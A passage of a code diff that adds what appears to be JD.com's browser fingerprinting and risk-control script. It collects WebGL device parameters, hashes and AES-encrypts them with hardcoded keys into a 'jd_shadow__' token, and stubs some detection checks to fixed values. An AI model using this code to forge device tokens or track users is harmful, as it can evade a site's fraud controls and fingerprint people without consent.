D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT), 0 === B && (B = 2), + B) : null + }(b)); + c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); + c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); + c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); + c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); + c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); + c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); + c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); + c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); + c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); + c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); + c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); + c.push("w20" + b.getParameter(b.RED_BITS)); + c.push("w21" + b.getParameter(b.RENDERER)); + c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); + c.push("w23" + b.getParameter(b.STENCIL_BITS)); + c.push("w24" + b.getParameter(b.VENDOR)); + c.push("w25" + b.getParameter(b.VERSION)); + try { + var C = b.getExtension("WEBGL_debug_renderer_info"); + C && (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), c.push("wur:" + b.getParameter( + C.UNMASKED_RENDERER_WEBGL))) + } catch (D) { } + return c.join("\u00a7") + }, + isCanvasSupported: function () { + return true; + var a = document.createElement("canvas"); + return !(!a.getContext || !a.getContext("2d")) + }, + isIE: function () { + return "Microsoft Internet Explorer" === navigator.appName || "Netscape" === navigator.appName && + /Trident/.test(navigator.userAgent) ? !0 : !1 + }, + getWebglCanvas: function () { + return null; + var a = document.createElement("canvas"), + b = null; + try { + var c = navigator.userAgent; + c = c.toLowerCase(); + (0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && (0 < c.indexOf("iphone") || 0 < c + .indexOf("ipad")) || (b = a.getContext("webgl") || a.getContext("experimental-webgl")) + } catch (l) { } + b || (b = null); + return b + }, + each: function (a, b, c) { + if (null !== a) + if (this.nativeForEach && a.forEach === this.nativeForEach) a.forEach(b, c); + else if (a.length === +a.length) + for (var l = 0, h = a.length; l < h && b.call(c, a[l], l, a) !== {}; l++); + else + for (l in a) + if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break + }, + map: function (a, b, c) { + var l = []; + if (null == a) return l; + if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); + this.each(a, function (h, q, z) { + l[l.length] = b.call(c, h, q, z) + }); + return l + }, + x64Add: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] + b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] + b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] + b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] + b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Multiply: function (a, b) { + a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; + b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; + var c = [0, 0, 0, 0]; + c[3] += a[3] * b[3]; + c[2] += c[3] >>> 16; + c[3] &= 65535; + c[2] += a[2] * b[3]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[2] += a[3] * b[2]; + c[1] += c[2] >>> 16; + c[2] &= 65535; + c[1] += a[1] * b[3]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[2] * b[2]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[1] += a[3] * b[1]; + c[0] += c[1] >>> 16; + c[1] &= 65535; + c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; + c[0] &= 65535; + return [c[0] << 16 | c[1], c[2] << 16 | c[3]] + }, + x64Rotl: function (a, b) { + b %= 64; + if (32 === b) return [a[1], a[0]]; + if (32 > b) return [a[0] << b | a[1] >>> 32 - b, a[1] << b | a[0] >>> 32 - b]; + b -= 32; + return [a[1] << b | a[0] >>> 32 - b, a[0] << b | a[1] >>> 32 - b] + }, + x64LeftShift: function (a, b) { + b %= 64; + return 0 === b ? a : 32 > b ? [a[0] << b | a[1] >>> 32 - b, a[1] << b] : [a[1] << b - 32, 0] + }, + x64Xor: function (a, b) { + return [a[0] ^ b[0], a[1] ^ b[1]] + }, + x64Fmix: function (a) { + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [4283543511, 3981806797]); + a = this.x64Xor(a, [0, a[0] >>> 1]); + a = this.x64Multiply(a, [3301882366, 444984403]); + return a = this.x64Xor(a, [0, a[0] >>> 1]) + }, + x64hash128: function (a, b) { + a = a || ""; + b = b || 0; + var c = a.length % 16, + l = a.length - c, + h = [0, b]; + b = [0, b]; + for (var q, z, C = [2277735313, 289559509], D = [1291169091, 658871167], B = 0; B < l; B += 16) + q = [a.charCodeAt(B + 4) & 255 | (a.charCodeAt(B + 5) & 255) << 8 | (a.charCodeAt(B + 6) & + 255) << 16 | (a.charCodeAt(B + 7) & 255) << 24, a.charCodeAt(B) & 255 | (a.charCodeAt( + B + 1) & 255) << 8 | (a.charCodeAt(B + 2) & 255) << 16 | (a.charCodeAt(B + 3) & 255) << + 24], z = [a.charCodeAt(B + 12) & 255 | (a.charCodeAt(B + 13) & 255) << 8 | (a.charCodeAt( + B + 14) & 255) << 16 | (a.charCodeAt(B + 15) & 255) << 24, a.charCodeAt(B + 8) & + 255 | (a.charCodeAt(B + 9) & 255) << 8 | (a.charCodeAt(B + 10) & 255) << 16 | (a.charCodeAt( + B + 11) & 255) << 24], q = this.x64Multiply(q, C), q = this.x64Rotl(q, 31), q = + this.x64Multiply(q, D), h = this.x64Xor(h, q), h = this.x64Rotl(h, 27), h = this.x64Add(h, + b), h = this.x64Add(this.x64Multiply(h, [0, 5]), [0, 1390208809]), z = this.x64Multiply( + z, D), z = this.x64Rotl(z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z), b = + this.x64Rotl(b, 31), b = this.x64Add(b, h), b = this.x64Add(this.x64Multiply(b, [0, 5]), [0, + 944331445]); + q = [0, 0]; + z = [0, 0]; + switch (c) { + case 15: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 14)], 48)); + case 14: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 13)], 40)); + case 13: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 12)], 32)); + case 12: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 11)], 24)); + case 11: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 10)], 16)); + case 10: + z = this.x64Xor(z, this.x64LeftShift([0, a.charCodeAt(B + 9)], 8)); + case 9: + z = this.x64Xor(z, [0, a.charCodeAt(B + 8)]), z = this.x64Multiply(z, D), z = this.x64Rotl( + z, 33), z = this.x64Multiply(z, C), b = this.x64Xor(b, z); + case 8: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 7)], 56)); + case 7: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 6)], 48)); + case 6: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || 